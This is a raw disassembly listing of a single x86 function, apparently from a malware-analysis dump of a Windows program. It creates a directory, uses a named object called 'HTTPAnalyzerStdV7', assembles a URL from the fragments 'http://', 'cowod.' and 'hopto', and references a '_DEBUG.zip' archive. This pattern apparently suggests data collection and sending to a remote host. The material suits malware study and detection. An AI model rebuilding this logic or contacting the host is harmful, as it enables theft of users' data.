Function at 0x41700a
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x82e4
call fcn.0042e360
mov eax, dword [0x43d078]
xor eax, esp
mov dword [esp + 0x82e0], eax
push ebx
push esi
push edi
xor edi, edi
push 0x4366c7
lea esi, [esp + 0xd4]
mov dword [0x65e3c4], edi
call fcn.004104e7
call fcn.00410c53
push eax
push str._HTTPAnalyzerStdV7
push dword [0x65e31c]
lea esi, [esp + 0x28]
lea eax, [esp + 0xdc]
call fcn.00410609
lea esi, [esp + 0x40]
call fcn.00410609
lea esi, [esp + 0x30]
call fcn.00410609
lea esi, [esp + 0xd0]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
mov eax, dword [esp + 0x38]
call fcn.00402920
mov eax, dword [esp + 0x1c]
call fcn.00402920
mov esi, 0x1f0003
jmp 0x4170ac
push eax
call dword [0x65e438]
push dword [esp + 0xd0]
push edi
push esi
call dword [0x65e404]
cmp eax, edi
jne 0x4170a5
push dword [esp + 0xd0]
push edi
push edi
push edi
call dword [0x65e57c]
push 0x4366ce
lea esi, [esp + 0x10c]
mov dword [esp + 0xe4], eax
call fcn.004104e7
lea eax, [esp + 0x68]
call fcn.004180da
push 0x4366cf
lea esi, [esp + 0x6c]
mov dword [esp + 0xf0], edi
mov dword [esp + 0xe8], edi
mov dword [esp + 0xec], edi
mov dword [esp + 0xfc], edi
mov dword [esp + 0xf4], edi
mov dword [esp + 0xf8], edi
mov dword [esp + 0x108], edi
mov dword [esp + 0x100], edi
mov dword [esp + 0x104], edi
call fcn.00410549
push 0x4366d2
lea esi, [esp + 0x98]
call fcn.00410549
mov ecx, 0xc7
mov dword [esp + 0xb4], edi
mov dword [esp + 0xc0], 1
mov dword [esp + 0xa8], edi
mov dword [esp + 0xa4], edi
mov dword [esp + 0xb0], edi
mov dword [esp + 0xac], edi
mov dword [esp + 0xb8], edi
mov dword [esp + 0xc4], edi
mov dword [esp + 0xc8], 0x9c40
mov dword [esp + 0xcc], edi
mov dword [0x65e3d0], edi
mov dword [0x65e3c8], edi
mov dword [0x65e3c0], edi
mov edx, ecx
lea eax, [esp + 0x63bc]
mov dword [eax - 0xc], edi
mov dword [eax - 0x14], edi
mov dword [eax - 0x10], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
add eax, 0x28
dec edx
jns 0x4171bc
lea eax, [esp + 0x4ddc]
mov dword [eax - 0xc], edi
mov dword [eax - 0x14], edi
mov dword [eax - 0x10], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
add eax, 0x1c
dec ecx
jns 0x4171da
push 0x63
pop ebx
mov ecx, ebx
lea eax, [esp + 0x1598]
mov dword [eax - 8], edi
mov dword [eax - 0x10], edi
mov dword [eax - 0xc], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
mov dword [eax + 0x10], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
add eax, 0x24
dec ecx
jns 0x4171fd
mov ecx, ebx
lea eax, [esp + 0x23ac]
mov dword [eax - 0xc], edi
mov dword [eax - 0x14], edi
mov dword [eax - 0x10], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
mov dword [eax + 0x10], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
add eax, 0x2c
dec ecx
jns 0x417226
lea esi, [esp + 0x34c8]
mov ecx, esi
call fcn.004181c6
add esi, 0x40
dec ebx
jns 0x41724d
push 0x31
lea esi, [esp + 0x13c]
pop ebx
mov ecx, esi
call fcn.004181ee
add esi, 0x34
dec ebx
jns 0x417264
mov dword [esp + 0x4c], edi
mov dword [esp + 0x44], edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x58], edi
call fcn.00402f12
call fcn.0041891a
call fcn.0040113b
test eax, eax
jne 0x417560
push 0x4366d3
lea esi, [esp + 0x14]
call fcn.004104e7
push 0x436c14
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c18
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c1c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c20
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c24
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c28
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c2c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c30
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c34
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c38
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c3c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c40
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c44
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c48
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c4c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c50
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c54
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c58
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
mov ecx, dword [esp + 0x10]
call fcn.0041257f
test al, al
jne 0x417557
call fcn.0041cc36
mov dword [0x65e3cc], eax
mov dword [0x65e3c0], 1
mov eax, dword [esp + 0x10]
call fcn.00402920
push 0xc
pop ebx
lea edi, [esp + 0x2c]
call fcn.00411c4a
lea esi, [esp + 0x80]
call fcn.0041058d
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x4366d6
lea esi, [esp + 0x30]
call fcn.004104e7
push dword [0x65e1d0]
lea esi, [esp + 0x20]
lea eax, [esp + 0x30]
call fcn.00410609
lea edi, [esp + 0x80]
lea esi, [esp + 0x38]
call fcn.004105c7
lea esi, [esp + 0x2c]
call fcn.0041058d
mov eax, dword [esp + 0x38]
call fcn.00402920
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
lea eax, [esp + 0x17c]
push eax
call fcn.0041697f
add esp, 0x6c
mov ebx, eax
lea edi, [esp + 0xe4]
call fcn.00418216
lea esi, [esp + 0x114]
call fcn.00416d54
mov eax, edi
lea esi, [esp + 0x68]
call fcn.0041058d
lea eax, [esp + 0xf0]
lea esi, [esp + 0x74]
call fcn.0041058d
lea eax, [esp + 0x68]
lea esi, [esp + 0x38]
call fcn.00410519
push str._1235456HTTPAnalyzerStdV7
lea esi, [esp + 0x20]
lea eax, [esp + 0x3c]
call fcn.00410609
lea esi, [esp + 0x38]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
lea edi, [esp + 0xfc]
lea esi, [esp + 0x1c]
lea eax, [esp + 0x38]
call fcn.004105c7
lea esi, [esp + 0x38]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [esp + 0x84]
call dword [0x65e4dc]
push ebx
push ebx
push ebx
push 1
push dword [esp + 0x84]
mov dword [esp + 0xa0], eax
call dword [0x65e4dc]
mov dword [esp + 0x90], eax
sub esp, 0xc
mov edi, esp
sub esp, 0xc
lea eax, [esp + 0x8c]
mov esi, esp
call fcn.00410519
sub esp, 0xc
mov esi, esp
push str.d80be45a1eb6454ca916f92c36ebf67d
call fcn.004104e7
sub esp, 0xc
mov ecx, esp
call fcn.004109a2
sub esp, 0xc
lea eax, [esp + 0xa4]
mov esi, esp
call fcn.00410519
mov ecx, edi
call fcn.00404b2e
add esp, 0x30
lea edi, [esp + 0x74]
call fcn.0041398b
add esp, 0xc
cmp dword [esp + 0xc8], ebx
jne 0x417724
mov dword [esp + 0xc8], 0xcb20
lea eax, [esp + 0x1588]
push eax
sub esp, 0xc
mov dword [esp + 0x38], esp
sub esp, 0xc
mov esi, esp
push 0x436c64
call fcn.004104e7
sub esp, 0x68
lea ebx, [esp + 0xec]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xac]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x54]
call fcn.00413408
pop ecx
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c68
call fcn.004104e7
sub esp, 0x68
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x63b4]
call fcn.00413222
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c6c
call fcn.004104e7
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x4dd4]
call fcn.00413359
sub esp, 0x5c
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.00413b4f
add esp, 0x5c
lea eax, [esp + 0x80]
mov esi, esp
call fcn.00410519
sub esp, 0xc
mov esi, esp
push dword [esp + 0x50]
call fcn.004104e7
call fcn.00405237
push 6
pop ecx
mov edi, esp
push edx
push eax
lea esi, [esp + 0x64]
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
mov edi, esp
call fcn.00401cfd
lea eax, [esp + 0x1610]
push eax
lea eax, [esp + 0x4e54]
push eax
lea eax, [esp + 0x6438]
push eax
call fcn.0040eabc
add esp, 0x94
cmp dword [esp + 0xa8], 0
je 0x4178d7
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c70
call fcn.004104e7
sub esp, 0x68
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x23a4]
call fcn.004134a1
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
lea eax, [esp + 0x2418]
call fcn.0040274e
add esp, 0x80
cmp dword [esp + 0xc4], 0
je 0x417958
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c74
call fcn.004104e7
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x144]
call fcn.00413161
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
push 1
lea eax, [esp + 0x1bc]
call fcn.004130d5
add esp, 0x84
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c78
call fcn.004104e7
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea ebx, [esp + 0x50]
lea ecx, [esp + 0x34d4]
call fcn.00413571
sub esp, 0xc
push 6
pop ecx
mov edi, esp
mov esi, ebx
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
lea eax, [esp + 0x3548]
call fcn.0041535b
xor esi, esi
add esp, 0x80
cmp dword [esp + 0xb8], esi
je 0x4179f6
sub esp, 0x68
mov edi, esp
call fcn.00401cfd
call fcn.00415638
mov edi, esp
call fcn.00401cfd
call fcn.00416f80
add esp, 0x68
cmp dword [esp + 0xac], esi
je 0x417a18
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.00415dc0
add esp, 0x68
cmp dword [esp + 0xb0], esi
je 0x417a3a
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.004162f9
add esp, 0x68
cmp dword [esp + 0xcc], esi
je 0x417a69
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.00416486
add esp, 0x68
jmp 0x417a69
push 0x3e8
call dword [0x65e410]
cmp dword [0x65e3c8], esi
ja 0x417a5e
cmp dword [esp + 0xb4], esi
je 0x417a93
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.00411f55
add esp, 0x68
cmp dword [esp + 0xc4], esi
jne 0x417b13
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c7c
call fcn.004104e7
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x144]
call fcn.00413161
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
push 1
lea eax, [esp + 0x1bc]
call fcn.004130d5
add esp, 0x84
sub esp, 0xc
mov esi, esp
push 0x436c80
call fcn.004104e7
sub esp, 0x68
lea ebx, [esp + 0xdc]
mov edi, esp
call fcn.00401cfd
lea ecx, [esp + 0x90]
call fcn.00405f39
mov eax, dword [esp + 0x90]
add esp, 0x74
call fcn.00402920
call fcn.0040113b
test eax, eax
jne 0x417fb9
push 0x4366d7
lea esi, [esp + 0x14]
call fcn.004104e7
push 0x436c84
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436c88
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436c8c
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436c90
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436c94
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436c98
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436c9c
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436ca0
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436ca4
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436ca8
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cac
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cb0
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cb4
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cb8
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cbc
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cc0
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cc4
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cc8
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.00410609
lea esi, [esp + 0x10]
call fcn.0041058d
mov eax, dword [esp + 0x1c]
call fcn.00402920
mov ecx, dword [esp + 0x10]
call fcn.0041257f
test al, al
jne 0x417fb0
lea eax, [esp + 0x28]
lea ecx, [esp + 0xdc]
call fcn.0041cceb
push 0x4366f9
lea esi, [esp + 0x20]
call fcn.004104e7
push str.http:__
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.00410609
lea esi, [esp + 0x1c]
call fcn.0041058d
mov eax, dword [esp + 0x5c]
call fcn.00402920
push str.cowod.
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.00410609
lea esi, [esp + 0x1c]
call fcn.0041058d
mov eax, dword [esp + 0x5c]
call fcn.00402920
push str.hopto
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.00410609
lea esi, [esp + 0x1c]
call fcn.0041058d
mov eax, dword [esp + 0x5c]
call fcn.00402920
push 0x436ce8
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.00410609
lea esi, [esp + 0x1c]
call fcn.0041058d
mov eax, dword [esp + 0x5c]
call fcn.00402920
push 0x436cec
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.00410609
lea esi, [esp + 0x1c]
call fcn.0041058d
mov eax, dword [esp + 0x5c]
call fcn.00402920
push 0x31
lea esi, [esp + 0xb64]
pop edi
mov ecx, esi
call fcn.004181ee
add esi, 0x34
dec edi
jns 0x417ede
and dword [esp + 0x58], 0
sub esp, 0xc
mov edi, esp
push dword [esp + 0x34]
sub esp, 0xc
mov esi, esp
push str._DEBUG.zip
call fcn.004104e7
sub esp, 0xc
lea eax, [esp + 0x44]
mov esi, esp
call fcn.00410519
sub esp, 0xc
lea eax, [esp + 0xa8]
mov esi, esp
call fcn.00410519
sub esp, 0xc
lea eax, [esp + 0xd4]
mov esi, esp
call fcn.00410519
push dword [esp + 0xcc]
mov ecx, dword [esp + 0x120]
push edi
call fcn.00405482
add esp, 0x3c
lea edi, [esp + 0x50]
lea ebx, [esp + 0xb6c]
call fcn.00413161
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
push 0
lea eax, [esp + 0xbe4]
call fcn.004130d5
add esp, 0x84
push 0x31
lea esi, [esp + 0x158c]
pop edi
sub esi, 0x34
mov ecx, esi
call fcn.004130b2
dec edi
jns 0x417f9a
mov eax, dword [esp + 0x1c]
call fcn.00402920
mov eax, dword [esp + 0x10]
call fcn.00402920
mov ecx, dword [esp + 0x2c]
call fcn.00412541
push dword [esp + 0xe0]
call dword [0x65e438]
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.0041823a
mov eax, dword [esp + 0xa0]
add esp, 0x68
call fcn.00402920
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x31
lea esi, [esp + 0xb64]
pop edi
sub esi, 0x34
mov ecx, esi
call fcn.004130b2
dec edi
jns 0x418007
push 0x63
lea esi, [esp + 0x4dcc]
pop edi
sub esi, 0x40
mov ecx, esi
call fcn.00415338
dec edi
jns 0x41801e
push 0x63
lea esi, [esp + 0x34cc]
pop edi
sub esi, 0x2c
mov ecx, esi
call fcn.004181ab
dec edi
jns 0x418035
push 0x63
lea esi, [esp + 0x239c]
pop edi
sub esi, 0x24
mov ecx, esi
call fcn.00418171
dec edi
jns 0x41804c
mov edi, 0xc7
lea esi, [esp + 0x63a8]
mov ebx, edi
mov eax, dword [esi - 0xc]
sub esi, 0x1c
call fcn.00402920
mov eax, dword [esi]
call fcn.00402920
dec ebx
jns 0x418067
lea esi, [esp + 0x82e8]
mov eax, dword [esi - 0x18]
sub esi, 0x28
call fcn.00402920
mov eax, dword [esi]
call fcn.00402920
dec edi
jns 0x418083
lea esi, [esp + 0xe4]
call fcn.00416d54
lea esi, [esp + 0x68]
call fcn.00401cde
mov eax, dword [esp + 0x108]
call fcn.00402920
mov eax, dword [esp + 0xd0]
call fcn.00402920
mov ecx, dword [esp + 0x82ec]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041cfe0
mov esp, ebp
pop ebp
ret